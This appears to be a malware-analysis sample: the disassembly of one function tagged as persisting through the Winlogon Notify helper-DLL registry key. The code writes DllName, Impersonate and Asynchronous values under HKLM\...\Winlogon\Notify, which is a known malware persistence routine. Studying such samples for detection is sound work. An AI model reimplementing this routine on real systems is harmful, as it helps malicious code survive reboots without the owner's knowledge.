Function at 0x1000794c
Capabilities:
Persist via winlogon helper dll registry key

Disassembly:
mov eax, 0x100148c1
call fcn.10013750
sub esp, 0x178
mov dword [ebp - 0x158], ecx
push str..dll
lea ecx, [ebp - 0x44]
call fcn.10009909
and dword [ebp - 4], 0
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x28]
push eax
call fcn.10009ecd
add esp, 0xc
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x44]
call fcn.10009e47
mov eax, dword [ebp - 0x158]
push dword [eax + 0x18]
lea eax, [ebp - 0x1c]
push eax
call fcn.1000b65f
pop ecx
pop ecx
mov byte [ebp - 4], 3
push 0x1001e710
lea ecx, [ebp - 0x50]
call fcn.10009909
mov byte [ebp - 4], 4
push dword [ebp + 8]
lea eax, [ebp - 0x50]
push eax
push str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogonNotify
lea ecx, [ebp - 0x5c]
call fcn.10009909
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x160], eax
mov byte [ebp - 4], 5
push dword [ebp - 0x160]
lea eax, [ebp - 0x68]
push eax
call fcn.10009ecd
add esp, 0xc
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 6
push dword [ebp - 0x168]
lea eax, [ebp - 0x38]
push eax
call fcn.10009ecd
add esp, 0xc
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x68]
call fcn.10009e47
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x5c]
call fcn.10009e47
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x50]
call fcn.10009e47
lea eax, [ebp - 0x38]
push eax
push 0x80000002
lea ecx, [ebp - 0x10]
call fcn.1000ef44
mov byte [ebp - 4], 0xb
push str.DllName
lea ecx, [ebp - 0x78]
call fcn.100098df
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f38a
movzx eax, al
test eax, eax
je 0x10007b09
push str.DllName
lea ecx, [ebp - 0x88]
call fcn.100098df
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000efcf
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x14c], eax
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14c]
call fcn.10009f3d
movzx eax, al
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x7c], al
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x94]
call fcn.10009e47
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x88]
call fcn.10009e47
movzx eax, byte [ebp - 0x7c]
test eax, eax
jne 0x10007b09
and dword [ebp - 0x170], 0
jmp 0x10007b13
mov dword [ebp - 0x170], 1
mov al, byte [ebp - 0x170]
mov byte [ebp - 0x6c], al
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x78]
call fcn.10009e47
movzx eax, byte [ebp - 0x6c]
test eax, eax
je 0x10007b66
push str.DllName
lea ecx, [ebp - 0xa0]
call fcn.100098df
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f2b1
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xa0]
call fcn.10009e47
push str.Impersonate
lea ecx, [ebp - 0xb0]
call fcn.100098df
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f38a
movzx eax, al
test eax, eax
je 0x10007be2
push str.Impersonate
lea ecx, [ebp - 0xc0]
call fcn.100098df
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f0d2
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0xb4], al
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xc0]
call fcn.10009e47
movzx eax, byte [ebp - 0xb4]
test eax, eax
jne 0x10007be2
and dword [ebp - 0x174], 0
jmp 0x10007bec
mov dword [ebp - 0x174], 1
mov al, byte [ebp - 0x174]
mov byte [ebp - 0xa4], al
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xb0]
call fcn.10009e47
movzx eax, byte [ebp - 0xa4]
test eax, eax
je 0x10007c46
push str.Impersonate
lea ecx, [ebp - 0xcc]
call fcn.100098df
mov byte [ebp - 4], 0x12
push 0
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f2dd
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xcc]
call fcn.10009e47
push str.Asynchronous
lea ecx, [ebp - 0xdc]
call fcn.100098df
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f38a
movzx eax, al
test eax, eax
je 0x10007cc3
push str.Asynchronous
lea ecx, [ebp - 0xec]
call fcn.100098df
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0xec]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f0d2
dec eax
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0xe0], al
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xec]
call fcn.10009e47
movzx eax, byte [ebp - 0xe0]
test eax, eax
jne 0x10007cc3
and dword [ebp - 0x178], 0
jmp 0x10007ccd
mov dword [ebp - 0x178], 1
mov al, byte [ebp - 0x178]
mov byte [ebp - 0xd0], al
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xdc]
call fcn.10009e47
movzx eax, byte [ebp - 0xd0]
test eax, eax
je 0x10007d27
push str.Asynchronous
lea ecx, [ebp - 0xf8]
call fcn.100098df
mov byte [ebp - 4], 0x15
push 1
lea eax, [ebp - 0xf8]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f2dd
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xf8]
call fcn.10009e47
and dword [ebp - 0x2c], 0
jmp 0x10007d34
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 9
jae 0x10007edc
mov eax, dword [ebp - 0x2c]
push dword [eax*4 + 0x1001e674]
lea ecx, [ebp - 0x108]
call fcn.100098df
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f38a
movzx eax, al
test eax, eax
je 0x10007e41
mov eax, dword [ebp - 0x2c]
push dword [eax*4 + 0x1001e674]
lea ecx, [ebp - 0x118]
call fcn.100098df
mov byte [ebp - 4], 0x17
mov eax, dword [ebp - 0x2c]
push dword [eax*4 + 0x1001e650]
lea ecx, [ebp - 0x130]
call fcn.100098df
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x154], eax
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000efcf
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x150], eax
mov byte [ebp - 4], 0x19
push dword [ebp - 0x154]
mov ecx, dword [ebp - 0x150]
call fcn.10009f3d
movzx eax, al
neg eax
sbb eax, eax
inc eax
mov byte [ebp - 0x10c], al
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x124]
call fcn.10009e47
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x130]
call fcn.10009e47
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x118]
call fcn.10009e47
movzx eax, byte [ebp - 0x10c]
test eax, eax
jne 0x10007e41
and dword [ebp - 0x184], 0
jmp 0x10007e4b
mov dword [ebp - 0x184], 1
mov al, byte [ebp - 0x184]
mov byte [ebp - 0xfc], al
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x108]
call fcn.10009e47
movzx eax, byte [ebp - 0xfc]
test eax, eax
je 0x10007ed7
mov eax, dword [ebp - 0x2c]
push dword [eax*4 + 0x1001e650]
lea ecx, [ebp - 0x13c]
call fcn.100098df
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x2c]
push dword [eax*4 + 0x1001e674]
lea ecx, [ebp - 0x148]
call fcn.100098df
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x148]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f2b1
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x148]
call fcn.10009e47
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x13c]
call fcn.10009e47
jmp 0x10007d2d
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x10]
call fcn.1000f36e
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x38]
call fcn.10009e47
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1c]
call fcn.10009e47
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10009e47
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret 4